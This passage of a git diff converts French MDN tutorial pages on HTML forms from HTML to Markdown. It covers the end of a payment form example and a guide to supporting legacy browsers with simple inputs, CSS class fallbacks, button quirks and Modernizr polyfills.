simple ; elle ne contient qu'un bouton {{htmlelement("button")}} de type `submit`, pour adresser les données du formulaire. Ajoutez ceci au bas du formulaire : + + ```html + <p> <button type="submit">Valider le paiement</button> </p> + ``` + +Vous pouvez voir le formulaire terminé en action ci‑dessous (vous le trouverez aussi sur GitHub — voir la [source](https://github.com/mdn/learning-area/blob/master/html/forms/html-form-structure/payment-form.html) payment-form.html et une exécution [directe](https://mdn.github.io/learning-area/html/forms/html-form-structure/payment-form.html)): + +{{EmbedLiveSample("Un_formulaire_de_paiement","100%","620", "", "Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML/Exemple")}} + +## Résumé + +Nous savons maintenant ce qu'il faut faire pour structurer de manière appropriée un formulaire HTML ; l'article suivant approfondira la mise en œuvre des divers types de widgets pour formulaire pour collecter les informations utilisateur. + +## Voir aussi + +- [A List Apart: _Sensible Forms: A Form Usability Checklist_](http://www.alistapart.com/articles/sensibleforms/) + +{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML", "Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs", "Web/Guide/HTML/Formulaires")}} + +## Dans ce module + +- [Mon premier formulaire HTML](/fr/docs/Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML) +- Comment structurer un formulaire HTML +- [Les widgets natifs pour formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs) +- [Envoi des données de formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires) +- [Validation des données de formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Validation_donnees_formulaire) +- [Comment construire des widgets personnalisés pour formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés) +- [Envoi de formulaires à l'aide du JavaScript](/fr/docs/Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript) +- [Formulaires HTML dans les navigateurs anciens](/fr/docs/Web/Guide/HTML/Formulaires/HTML_forms_in_legacy_browsers) +- [Mise en forme des formulaires HTML](/fr/docs/Web/Guide/HTML/Formulaires/Apparence_des_formulaires_HTML) +- [Mise en forme avancée des formulaires HTML](/fr/docs/Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms) +- [Table de compatibilité des propriétés pour les widgets de formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Property_compatibility_table_for_form_widgets) diff --git a/files/fr/learn/forms/html_forms_in_legacy_browsers/index.md b/files/fr/learn/forms/html_forms_in_legacy_browsers/index.md index 7f12753fa5..e9380806b1 100644 --- a/files/fr/learn/forms/html_forms_in_legacy_browsers/index.md +++ b/files/fr/learn/forms/html_forms_in_legacy_browsers/index.md @@ -4,111 +4,124 @@ slug: Learn/Forms/HTML_forms_in_legacy_browsers translation_of: Learn/Forms/HTML_forms_in_legacy_browsers original_slug: Web/Guide/HTML/Formulaires/HTML_forms_in_legacy_browsers --- -<div>{{LearnSidebar}}{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript", "Web/Guide/HTML/Formulaires/Apparence_des_formulaires_HTML", "Web/Guide/HTML/Formulaires")}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript", "Web/Guide/HTML/Formulaires/Apparence_des_formulaires_HTML", "Web/Guide/HTML/Formulaires")}} -<p>Tout développeur apprend très rapidement (parfois difficilement) que le Web est un endroit assez inconfortable. Le pire des fléaux est le « navigateur historique ». Oui, admettons‑le, si on dit « navigateur historique », nous pensons tous aux anciennes versions d'Internet Explorer ... mais elles sont loin d'être les seules. Les premières versions de Firefox, comme la <a href="http://www.mozilla.org/en-US/firefox/organizations/">version ESR,</a> sont aussi des « navigateurs historiques ». Et dans le monde du mobile ? Quand ni le navigateur ni l'OS ne peut être mis à jour? Oui, il y a beaucoup de vieux smartphones Android ou des iPhones dont le navigateur par défaut n'est pas à jour. Ceux-ci sont aussi des « navigateurs historiques ».</p> +Tout développeur apprend très rapidement (parfois difficilement) que le Web est un endroit assez inconfortable. Le pire des fléaux est le « navigateur historique ». Oui, admettons‑le, si on dit « navigateur historique », nous pensons tous aux anciennes versions d'Internet Explorer ... mais elles sont loin d'être les seules. Les premières versions de Firefox, comme la [version ESR,](http://www.mozilla.org/en-US/firefox/organizations/) sont aussi des « navigateurs historiques ». Et dans le monde du mobile ? Quand ni le navigateur ni l'OS ne peut être mis à jour? Oui, il y a beaucoup de vieux smartphones Android ou des iPhones dont le navigateur par défaut n'est pas à jour. Ceux-ci sont aussi des « navigateurs historiques ». -<p>Malheureusement, parcourir cette jungle est une facette du métier. Mais opportunément, il existe quelques astuces pour nous aider à résoudre 80 % des problèmes causés par ces vieilles versions de navigateur.</p> +Malheureusement, parcourir cette jungle est une facette du métier. Mais opportunément, il existe quelques astuces pour nous aider à résoudre 80 % des problèmes causés par ces vieilles versions de navigateur. -<h2 id="S'informer_sur_les_difficultés">S'informer sur les difficultés</h2> +## S'informer sur les difficultés -<p>En fait, lire la documentation sur ces navigateurs est la chose la plus importante pour essayer de comprendre les modèles communs. Par exemple, la prise en charge des CSS est un problème majeur du formulaire HTML dans la plupart des cas. Vous êtes au bon endroit pour commencer. Il suffit de vérifier la prise en charge des éléments (ou interface DOM) que vous voulez utiliser. MDN dispose de tables de compatibilité pour de nombreux éléments, propriétés ou API pouvant être utilisées dans une page Web. Mais il existe d'autres ressources étonnamment utiles :</p> +En fait, lire la documentation sur ces navigateurs est la chose la plus importante pour essayer de comprendre les modèles communs. Par exemple, la prise en charge des CSS est un problème majeur du formulaire HTML dans la plupart des cas. Vous êtes au bon endroit pour commencer. Il suffit de vérifier la prise en charge des éléments (ou interface DOM) que vous voulez utiliser. MDN dispose de tables de compatibilité pour de nombreux éléments, propriétés ou API pouvant être utilisées dans une page Web. Mais il existe d'autres ressources étonnamment utiles : -<h3 id="Documentation_du_fournisseur_du_navigateur">Documentation du fournisseur du navigateur</h3> +### Documentation du fournisseur du navigateur -<ul> - <li>Mozilla : vous êtes au bon endroit, explorez juste MDN</li> - <li>Microsoft : <a href="http://msdn.microsoft.com/en-us/library/ff410218%28v=vs.85%29.aspx" rel="external">Documentation sur la prise en charge de la norme par Internet Explorer</a></li> - <li>WebKit : comme il y a plusieurs versions de ce moteur, les choses se compliquent : - <ul> - <li><a href="https://www.webkit.org/blog/" rel="external">le Blog WebKit</a> et <a href="http://planet.webkit.org/" rel="external">Planet WebKit</a> rassemblent les meilleurs articles par les déveoppeurs WebKit.</li> - <li><a href="https://www.chromestatus.com/features">l</a>e site État de la p<a href="https://www.chromestatus.com/features">lateforme Chrome</a> est aussi importante.</li> - <li>ainsi que le<a href="https://developer.apple.com/technologies/safari/" rel="external"> site web Apple .</a></li> - </ul> - </li> -</ul> +- Mozilla : vous êtes au bon endroit, explorez juste MDN +- Microsoft : [Documentation sur la prise en charge de la norme par Internet Explorer](http://msdn.microsoft.com/en-us/library/ff410218%28v=vs.85%29.aspx) +- WebKit : comme il y a plusieurs versions de ce moteur, les choses se compliquent : -<h3 id="Documentation_indépendante">Documentation indépendante</h3> + - [le Blog WebKit](https://www.webkit.org/blog/) et [Planet WebKit](http://planet.webkit.org/) rassemblent les meilleurs articles par les déveoppeurs WebKit. + - [l](https://www.chromestatus.com/features)e site État de la p[lateforme Chrome](https://www.chromestatus.com/features) est aussi importante. + - ainsi que le[ site web Apple .](https://developer.apple.com/technologies/safari/) -<ul> - <li><a href="http://caniuse.com" rel="external">Can I Use</a> a des informations sur la prise en charge des techniques avancées. </li> - <li><a href="http://www.quirksmode.org" rel="external">Quirks Mode</a> est une surprenante ressource sur la compatibilité des divers navigateurs. <a href="http://www.quirksmode.org/mobile/" rel="external">La partie sur les mobiles</a> est la meilleure actuellement disponible.</li> - <li><a href="http://positioniseverything.net/" rel="external">Position Is Everything</a> est la meilleure ressource disponible sur les bogues de rendu dans les navigateurs historiques et leur solution de contournement (le cas échéant).</li> - <li><a href="http://mobilehtml5.org" rel="external">Mobile HTML5</a> dispose d'informations de compatibilité pour une large gamme de navigateurs pour mobiles, et pas seulement pour le « top 5 » (y compris Nokia, Amazon et Blackberry).</li> -</ul> +### Documentation indépendante -<h2 id="Rendre_les_choses_simples">Rendre les choses simples</h2> +- [Can I Use](http://caniuse.com) a des informations sur la prise en charge des techniques avancées. +- [Quirks Mode](http://www.quirksmode.org) est une surprenante ressource sur la compatibilité des divers navigateurs. [La partie sur les mobiles](http://www.quirksmode.org/mobile/) est la meilleure actuellement disponible. +- [Position Is Everything](http://positioniseverything.net/) est la meilleure ressource disponible sur les bogues de rendu dans les navigateurs historiques et leur solution de contournement (le cas échéant). +- [Mobile HTML5](http://mobilehtml5.org) dispose d'informations de compatibilité pour une large gamme de navigateurs pour mobiles, et pas seulement pour le « top 5 » (y compris Nokia, Amazon et Blackberry). -<p> </p> +## Rendre les choses simples -<p>Comme les <a href="/fr/docs/Web/Guide/HTML/Formulaires">formulaires HTML</a> impliquent des interactions complexes, une règle empirique : <a href="https://fr.wikipedia.org/wiki/Principe_KISS">restez aussi simple que possible</a>. Il y a tant de cas où nous voudrions que des formulaires soient « plus beaux » ou « avec des fonctionnalités avancées » ! Mais construire des formulaires HTML efficaces n'est pas une question de design ou de technique. Pour rappel, prenez le temps de lire cet article sur l'<a href="http://www.uxforthemasses.com/forms-usability/">ergonomie des formulaires sur UX For The Masses</a> (en anglais).</p> -<h3 id="La_simplification_élégante_est_la_meilleure_amie_du_développeur_Web">La simplification élégante est la meilleure amie du développeur Web</h3> -<p><a href="http://www.sitepoint.com/progressive-enhancement-graceful-degradation-choice/" rel="external">Une simplification élégante et des améliorations progressives</a> sont des modèles de développement qui permettent de construire des grands projets prenant en charge une large gamme de navigateurs simultanément. Quand vous créez quelque chose pour un navigateur moderne, et que vous voudriez être sûrs que, l'un l'autre, il fonctionne sur des navigateurs historiques, vous faites de la simplification élégante.</p> +Comme les [formulaires HTML](/fr/docs/Web/Guide/HTML/Formulaires) impliquent des interactions complexes, une règle empirique : [restez aussi simple que possible](https://fr.wikipedia.org/wiki/Principe_KISS). Il y a tant de cas où nous voudrions que des formulaires soient « plus beaux » ou « avec des fonctionnalités avancées » ! Mais construire des formulaires HTML efficaces n'est pas une question de design ou de technique. Pour rappel, prenez le temps de lire cet article sur l'[ergonomie des formulaires sur UX For The Masses](http://www.uxforthemasses.com/forms-usability/) (en anglais). -<p>Voyons quelques exemples relatifs aux formulaires en HTML.</p> +### La simplification élégante est la meilleure amie du développeur Web -<h4 id="Types_d'entrées_en_HTML">Types d'entrées en HTML</h4> +[Une simplification élégante et des améliorations progressives](http://www.sitepoint.com/progressive-enhancement-graceful-degradation-choice/) sont des modèles de développement qui permettent de construire des grands projets prenant en charge une large gamme de navigateurs simultanément. Quand vous créez quelque chose pour un navigateur moderne, et que vous voudriez être sûrs que, l'un l'autre, il fonctionne sur des navigateurs historiques, vous faites de la simplification élégante. -<p>Les nouveaux types d'entrées amenés par HTML5 sont très sympas car la façon dont ils simplifient est grandement prévisible. Si un navigateur ne connaît pas la valeur de l'attribut {{htmlattrxref("type","input")}} d'un élément {{HTMLElement("input")}}, il prendra une valeur <code>text</code> en recours.</p> +Voyons quelques exemples relatifs aux formulaires en HTML. -<pre class="brush: html"><label for="myColor"> +#### Types d'entrées en HTML + +Les nouveaux types d'entrées amenés par HTML5 sont très sympas car la façon dont ils simplifient est grandement prévisible. Si un navigateur ne connaît pas la valeur de l'attribut {{htmlattrxref("type","input")}} d'un élément {{HTMLElement("input")}}, il prendra une valeur `text` en recours. + +```html +<label for="myColor"> Choisir une couleur - <input type="color" id="myColor" name="color"> -</label></pre> + <input type="color" id="myColor" name="color"> +</label> +``` <table> - <thead> - <tr> - <th scope="col" style="text-align: center;">Chrome 24</th> - <th scope="col" style="text-align: center;">Firefox 18</th> - </tr> - </thead> - <tbody> - <tr> - <th style="text-align: center;"><img alt="Capture d'écran de l'entrée de couleur sur Chrome pour Mac OSX" src="choix_chrome.png"></th> - <th style="text-align: center;"><img alt="Capture d'écran de l'entrée de couleur sur Firefox" src="choix_firefox.png"></th> - </tr> - </tbody> + <thead> + <tr> + <th scope="col" style="text-align: center">Chrome 24</th> + <th scope="col" style="text-align: center">Firefox 18</th> + </tr> + </thead> + <tbody> + <tr> + <th style="text-align: center"> + <img + alt="Capture d'écran de l'entrée de couleur sur Chrome pour Mac OSX" + src="choix_chrome.png" + /> + </th> + <th style="text-align: center"> + <img + alt="Capture d'écran de l'entrée de couleur sur Firefox" + src="choix_firefox.png" + /> + </th> + </tr> + </tbody> </table> -<h4 id="Sélecteurs_d'attributs_CSS">Sélecteurs d'attributs CSS</h4> +#### Sélecteurs d'attributs CSS -<p>Les <a href="/fr/docs/Web/CSS/Sélecteurs_d_attribut" title="/en-US/docs/CSS/Attribute_selectors">sélecteurs d'attributs CSS</a> sont très utiles avec les <a href="/fr/docs/Web/Guide/HTML/Formulaires">formulaires HTML</a>, mais certains navigateurs historiques ne les prennent pas en charge. Dans ce cas, il est courant de doubler le type avec une classe équivalente :</p> +Les [sélecteurs d'attributs CSS](/fr/docs/Web/CSS/Sélecteurs_d_attribut "/en-US/docs/CSS/Attribute_selectors") sont très utiles avec les [formulaires HTML](/fr/docs/Web/Guide/HTML/Formulaires), mais certains navigateurs historiques ne les prennent pas en charge. Dans ce cas, il est courant de doubler le type avec une classe équivalente : -<pre class="brush: html"><input type="number" class="number"></pre> +```html +<input type="number" class="number"> +``` -<pre class="brush: css">input[type=number] { +```css +input[type=number] { /* Ceci peut échouer avec certains navigateurs */ } input.number { /* Ceci fonctionne partout */ -}</pre> +} +``` -<p>Notez que ce qui suit n'est pas utile (car redondant) et peut échouer dans certains navigateurs :</p> +Notez que ce qui suit n'est pas utile (car redondant) et peut échouer dans certains navigateurs : -<pre class="brush: css">input[type=number], +```css +input[type=number], input.number { /* Ceci peut échouer dans certains navigateurs ; s'il ne comprennent pas l'un des sélecteurs, il sautent la totalité de la règle */ -}</pre> +} +``` -<h4 id="Boutons_et_formulaires">Boutons et formulaires</h4> +#### Boutons et formulaires -<p>Il y a deux manières de définir un bouton dans un formulaire HTML :</p> +Il y a deux manières de définir un bouton dans un formulaire HTML : -<ul> - <li>un élément {{HTMLElement("input")}} avec un attribut {htmlattrxref("type","input")}} défini avec une des valeurs <code>button</code>, <code>submit</code>, <code>reset</code> ou <code>image</code></li> - <li>un élément {{HTMLElement("button")}}</li> -</ul> +- un élément {{HTMLElement("input")}} avec un attribut {htmlattrxref("type","input")}} défini avec une des valeurs `button`, `submit`, `reset` ou `image` +- un élément {{HTMLElement("button")}} -<p>L'élément {{HTMLElement("input")}} peut rendre les choses compliquées si vous voulez appliquer des CSS avec un sélecteur d'élément :</p> +L'élément {{HTMLElement("input")}} peut rendre les choses compliquées si vous voulez appliquer des CSS avec un sélecteur d'élément : -<pre class="brush: html"><input type="button" class="button" value="Cliquez‑moi"></pre> +```html +<input type="button" class="button" value="Cliquez‑moi"> +``` -<pre class="brush: css">input { +```css +input { /* Cette règle annule le rendu par défaut défini avec un élément input */ border: 1px solid #CCC; } @@ -122,52 +135,50 @@ input.button { /* Avec ceci non plus ! En fait, il n'y a pas de méthode standard pour le faire quel que soit le navigateur */ border: auto; -}</pre> +} +``` -<p>L'élément {{HTMLElement("button")}} présente deux problèmes potentiels :</p> +L'élément {{HTMLElement("button")}} présente deux problèmes potentiels : -<ul> - <li> - <p>un bogue dans certaines anciennes versions d'Internet Explorer. Lorsque l'utilisateur clique sur le bouton, ce n'est pas le contenu de l'attribut {{htmlattrxref("value", "button")}} qui est envoyé, mais le contenu HTML disponible entre balises de début et de fin de l'élément {{HTMLElement("button")}}. Ce n'est un problème que si vous voulez envoyer une telle valeur, par exemple si le traitement des données dépend du bouton sur lequel l'utilisateur clique.</p> - </li> - <li>certains navigateurs très anciens n'utilisent pas <code>submit</code> comme valeur par défaut pour l'attribut {{htmlattrxref("type","button")}}, donc il est recommandé de toujours définir l'attribut {{htmlattrxref("type","button")}} pour les éléments {{HTMLElement("button")}}.</li> -</ul> +- un bogue dans certaines anciennes versions d'Internet Explorer. Lorsque l'utilisateur clique sur le bouton, ce n'est pas le contenu de l'attribut {{htmlattrxref("value", "button")}} qui est envoyé, mais le contenu HTML disponible entre balises de début et de fin de l'élément {{HTMLElement("button")}}. Ce n'est un problème que si vous voulez envoyer une telle valeur, par exemple si le traitement des données dépend du bouton sur lequel l'utilisateur clique. +- certains navigateurs très anciens n'utilisent pas `submit` comme valeur par défaut pour l'attribut {{htmlattrxref("type","button")}}, donc il est recommandé de toujours définir l'attribut {{htmlattrxref("type","button")}} pour les éléments {{HTMLElement("button")}}. -<pre class="brush: html"><!-- Cliquer sur ce boutton envoie « <em>Do A</em> » au lieu de « A » dans certains cas --> -<button type="submit" name="IWantTo" value="A"> - <em>Do A</em> -</button></pre> +```html +<!-- Cliquer sur ce boutton envoie « <em>Do A</em> » au lieu de « A » dans certains cas --> +<button type="submit" name="IWantTo" value="A"> + <em>Do A</em> +</button> +``` -<p>Le choix de l'une ou l'autre solution vous appartient, selon les contraintes du projet.</p> +Le choix de l'une ou l'autre solution vous appartient, selon les contraintes du projet. -<h3 id="Laissez_tomber_les_CSS">Laissez tomber les CSS</h3> +### Laissez tomber les CSS -<p>Le plus gros problème avec les formulaires HTML et les navigateurs historiques est la prise en charge des CSS. Comme vous pouvez le constater, vu la complexité de la <a href="/fr/docs/Web/Guide/HTML/Formulaires/Property_compatibility_table_for_form_widgets">Table de compatibilité des propriétés pour les widgets de formulaire</a>, c'est très difficile. Même s'il est toujours possible de faire quelques ajustements sur les éléments de texte (comme la taille ou la couleur de police), il y a toujours des effets secondaires. La meilleure approche reste de ne faire aucune composition des widgets de formulaire HTML. Mais vous pouvez toujours appliquer des styles à tous les éléments environnants. Si vous êtes un professionnel et que votre client le réclame, dans ce cas, vous pouvez étudier certaines techniques difficiles telles que la <a href="/fr/docs/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés">construction de widgets avec JavaScript</a>. Mais dans ce cas, n'hésitez pas à facturer votre client pour ce caprice.</p> +Le plus gros problème avec les formulaires HTML et les navigateurs historiques est la prise en charge des CSS. Comme vous pouvez le constater, vu la complexité de la [Table de compatibilité des propriétés pour les widgets de formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Property_compatibility_table_for_form_widgets), c'est très difficile. Même s'il est toujours possible de faire quelques ajustements sur les éléments de texte (comme la taille ou la couleur de police), il y a toujours des effets secondaires. La meilleure approche reste de ne faire aucune composition des widgets de formulaire HTML. Mais vous pouvez toujours appliquer des styles à tous les éléments environnants. Si vous êtes un professionnel et que votre client le réclame, dans ce cas, vous pouvez étudier certaines techniques difficiles telles que la [construction de widgets avec JavaScript](/fr/docs/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés). Mais dans ce cas, n'hésitez pas à facturer votre client pour ce caprice. -<h2 id="Détection_de_fonctionnalité_et_prothèses_d'émulation_(polyfills)">Détection de fonctionnalité et prothèses d'émulation (<em>polyfills</em>)</h2> +## Détection de fonctionnalité et prothèses d'émulation (_polyfills_) -<p>Bien que JavaScript soit un langage de programmation remarquable pour les navigateurs modernes, les navigateurs historiques ont de nombreux problèmes avec cette technique.</p> +Bien que JavaScript soit un langage de programmation remarquable pour les navigateurs modernes, les navigateurs historiques ont de nombreux problèmes avec cette technique. -<h3 id="JavaScript_non_obstructif">JavaScript non obstructif</h3> +### JavaScript non obstructif -<p>Un des plus gros problèmes est la disponibilité des API. Pour cette raison, il est considéré comme de bonne pratique de travailler avec du JavaScript « non obstructif ». C'est un modèle de développement défini par deux obligations :</p> +Un des plus gros problèmes est la disponibilité des API. Pour cette raison, il est considéré comme de bonne pratique de travailler avec du JavaScript « non obstructif ». C'est un modèle de développement défini par deux obligations : -<ul> - <li>une séparation stricte entre structure et comportement.</li> - <li>si le fil du code casse, le contenu et les fonctionnalités de base doivent rester accessibles et utilisables.</li> -</ul> +- une séparation stricte entre structure et comportement. +- si le fil du code casse, le contenu et les fonctionnalités de base doivent rester accessibles et utilisables. -<p><a href="http://docs.webplatform.org/wiki/concepts/programming/the_principles_of_unobtrusive_javascript" rel="external">Les principes d'un JavaScript non obstructif</a> (écrit à l'origine par Peter-Paul Koch pour Dev.Opera.com et maintenant mis sur Docs.WebPlatform.org) descrit très bien ces idées.</p> +[Les principes d'un JavaScript non obstructif](http://docs.webplatform.org/wiki/concepts/programming/the_principles_of_unobtrusive_javascript) (écrit à l'origine par Peter-Paul Koch pour Dev.Opera.com et maintenant mis sur Docs.WebPlatform.org) descrit très bien ces idées. -<h3 id="La_bibliothèque_Modernizr">La bibliothèque Modernizr</h3> +### La bibliothèque Modernizr -<p>Dans de nombreux cas, une bonne prothèse d'émulation (« polyfill ») peut aider en fournissant une API manquante. Un « <a href="http://remysharp.com/2010/10/08/what-is-a-polyfill/" rel="external">polyfill »</a> est un petit morceau de JavaScript qui « remplit un trou » dans les fonctionnalités des navigateurs historiques. Bien qu'ils puissent être utilisés pour améliorer la prise en charge de n'importe quelle fonctionnalité, leur utilisation dans le JavaScript est moins risquée que dans les CSS ou le HTML ; il existe de nombreux cas où JavaScript peut casser (problèmes de réseau, conflits de script, etc.). Mais avec le JavaScript, à condition de travailler avec un JavaScript non obstructif, si les polyfills manquent, ce ne sera pas grave.</p> +Dans de nombreux cas, une bonne prothèse d'émulation (« polyfill ») peut aider en fournissant une API manquante. Un « [polyfill »](http://remysharp.com/2010/10/08/what-is-a-polyfill/) est un petit morceau de JavaScript qui « remplit un trou » dans les fonctionnalités des navigateurs historiques. Bien qu'ils puissent être utilisés pour améliorer la prise en charge de n'importe quelle fonctionnalité, leur utilisation dans le JavaScript est moins risquée que dans les CSS ou le HTML ; il existe de nombreux cas où JavaScript peut casser (problèmes de réseau, conflits de script, etc.). Mais avec le JavaScript, à condition de travailler avec un JavaScript non obstructif, si les polyfills manquent, ce ne sera pas grave. -<p>La meilleure façon de remplir un trou d'API manquante consiste à utiliser la bibliothèque <a href="http://modernizr.com" rel="external">Modernizr</a> et son projet dérivé : <a href="http://yepnopejs.com" rel="external">YepNope</a>. Modernizr est une bibliothèque qui vous permet de tester la disponibilité d'une fonctionnalité pour une action en accord. YepNope est une bibliothèqe de chargements conditionnels.</p> +La meilleure façon de remplir un trou d'API manquante consiste à utiliser la bibliothèque [Modernizr](http://modernizr.com) et son projet dérivé : [YepNope](http://yepnopejs.com). Modernizr est une bibliothèque qui vous permet de tester la disponibilité d'une fonctionnalité pour une action en accord. YepNope est une bibliothèqe de chargements conditionnels. -<p>Voici un exemple :</p> +Voici un exemple : -<pre class="brush: js">Modernizr.load({ +```js +Modernizr.load({ // Cette ligne teste si le navigateur prend en charge l'API // de validation de formulaires HTML5 test : Modernizr.formvalidation, @@ -184,38 +195,35 @@ input.button { complete : function () { app.init(); } -});</pre> +}); +``` -<p>L'équipe de Modernizr fait une maintenance opportune de grande liste de « <a href="https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills" rel="external">polyfills »</a>. Prenez celui dont vous avez besoin.</p> +L'équipe de Modernizr fait une maintenance opportune de grande liste de « [polyfills »](https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills). Prenez celui dont vous avez besoin. -<div class="note"> -<p><strong>Note :</strong> Modernizr a d'autres fonctionnalités remarquables pour faciliter le traitement du JavaScript non obstructif et les tecniques de simplifications élégantes. Prenez connaissance de <a href="http://modernizr.com/docs/" rel="external"> la documentation de Modernizr</a>.</p> -</div> +> **Note :** Modernizr a d'autres fonctionnalités remarquables pour faciliter le traitement du JavaScript non obstructif et les tecniques de simplifications élégantes. Prenez connaissance de [ la documentation de Modernizr](http://modernizr.com/docs/). -<h3 id="Faites_attention_aux_performances">Faites attention aux performances</h3> +### Faites attention aux performances -<p>Même si des scripts comme Modernizr sont très attentifs aux performances, le chargement d'un polyfill de 200 kilooctets peut affecter les performances de votre application. Ceci est particulièrement critique avec les navigateurs historiques ; beaucoup d'entre eux ont un moteur JavaScript très lent qui peut rendre l'exécution de tous vos polyfills pénibles pour l'utilisateur. La performance est un sujet en soi ; les navigateurs historiques y sont très sensibles : fondamentalement, ils sont lents et ils ont plus besoin de polyfills, et donc ils ont besoin de traiter encore plus de JavaScript. Ils sont donc doublement surchargés par rapport aux navigateurs modernes. Testez votre code avec les navigateurs historiques pour voir comment leur fonctionnement en conditions réelles. Parfois, l'abandon de certaines fonctionnalités amène un meilleur ressenti pour l'utilisateur que d'avoir exactement la même fonctionnalité dans tous les navigateurs. Dernier rappel : pensez toujours à l'utilisateur final.</p> +Même si des scripts comme Modernizr sont très attentifs aux performances, le chargement d'un polyfill de 200 kilooctets peut affecter les performances de votre application. Ceci est particulièrement critique avec les navigateurs historiques ; beaucoup d'entre eux ont un moteur JavaScript très lent qui peut rendre l'exécution de tous vos polyfills pénibles pour l'utilisateur. La performance est un sujet en soi ; les navigateurs historiques y sont très sensibles : fondamentalement, ils sont lents et ils ont plus besoin de polyfills, et donc ils ont besoin de traiter encore plus de JavaScript. Ils sont donc doublement surchargés par rapport aux navigateurs modernes. Testez votre code avec les navigateurs historiques pour voir comment leur fonctionnement en conditions réelles. Parfois, l'abandon de certaines fonctionnalités amène un meilleur ressenti pour l'utilisateur que d'avoir exactement la même fonctionnalité dans tous les navigateurs. Dernier rappel : pensez toujours à l'utilisateur final. -<h2 id="Conclusion">Conclusion</h2> +## Conclusion -<p>Comme vous pouvez le constater, opérer avec des navigateurs historiques n'est pas qu'une question de formulaires. C'est tout un ensemble de techniques ; mais les maîtriser toutes dépasserait le cadre de cet article.</p> +Comme vous pouvez le constater, opérer avec des navigateurs historiques n'est pas qu'une question de formulaires. C'est tout un ensemble de techniques ; mais les maîtriser toutes dépasserait le cadre de cet article. -<p>Si vous avez lu tous les articles de ce <a href="/fr/docs/Web/Guide/HTML/Forms_in_HTML">guide à propos des formulaires en HTML</a>, vous devriez maintenant être à l'aise avec leur utilisation. Si vous trouvez de nouvelles techniques ou de nouvelles astuces, aidez‑nous à <a href="/fr/docs/MDN/Débuter_sur_MDN">améliorer ce guide</a>.</p> +Si vous avez lu tous les articles de ce [guide à propos des formulaires en HTML](/fr/docs/Web/Guide/HTML/Forms_in_HTML), vous devriez maintenant être à l'aise avec leur utilisation. Si vous trouvez de nouvelles techniques ou de nouvelles astuces, aidez‑nous à [améliorer ce guide](/fr/docs/MDN/Débuter_sur_MDN). -<p>{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript", "Web/Guide/HTML/Formulaires/Apparence_des_formulaires_HTML", "Web/Guide/HTML/Formulaires")}}</p> +{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript", "Web/Guide/HTML/Formulaires/Apparence_des_formulaires_HTML", "Web/Guide/HTML/Formulaires")}} -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML">Mon premier formulaire HTML</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML">Comment structurer un formulaire HTML</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs">Les widgets natifs pour formulaire</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires">Envoi des données de formulaire</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Validation_donnees_formulaire">Validation des données de formulaire</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés">Comment construire des widgets personnalisés pour formulaire</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript">Envoi de formulaires à l'aide du JavaScript</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/HTML_forms_in_legacy_browsers">Formulaires HTML dans les navigateurs anciens</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Apparence_des_formulaires_HTML">Mise en forme des formulaires HTML</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms">Mise en forme avancée des formulaires HTML</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Property_compatibility_table_for_form_widgets">Table de compatibilité des propriétés pour les widgets de formulaire</a></li> -</ul> +- [Mon premier formulaire HTML](/fr/docs/Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML) +- [Comment structurer un formulaire HTML](/fr/docs/Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML) +- [Les widgets natifs pour formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs) +- [Envoi des données de formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires) +- [Validation des données de formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Validation_donnees_formulaire) +- [Comment construire des widgets personnalisés pour formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés) +- [Envoi de formulaires à l'aide du JavaScript](/fr/docs/Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript) +- [Formulaires HTML dans les navigateurs anciens](/fr/docs/Web/Guide/HTML/Formulaires/HTML_forms_in_legacy_browsers) +- [Mise en forme des formulaires HTML](/fr/docs/Web/Guide/HTML/Formulaires/Apparence_des_formulaires_HTML) +- [Mise en forme avancée des formulaires 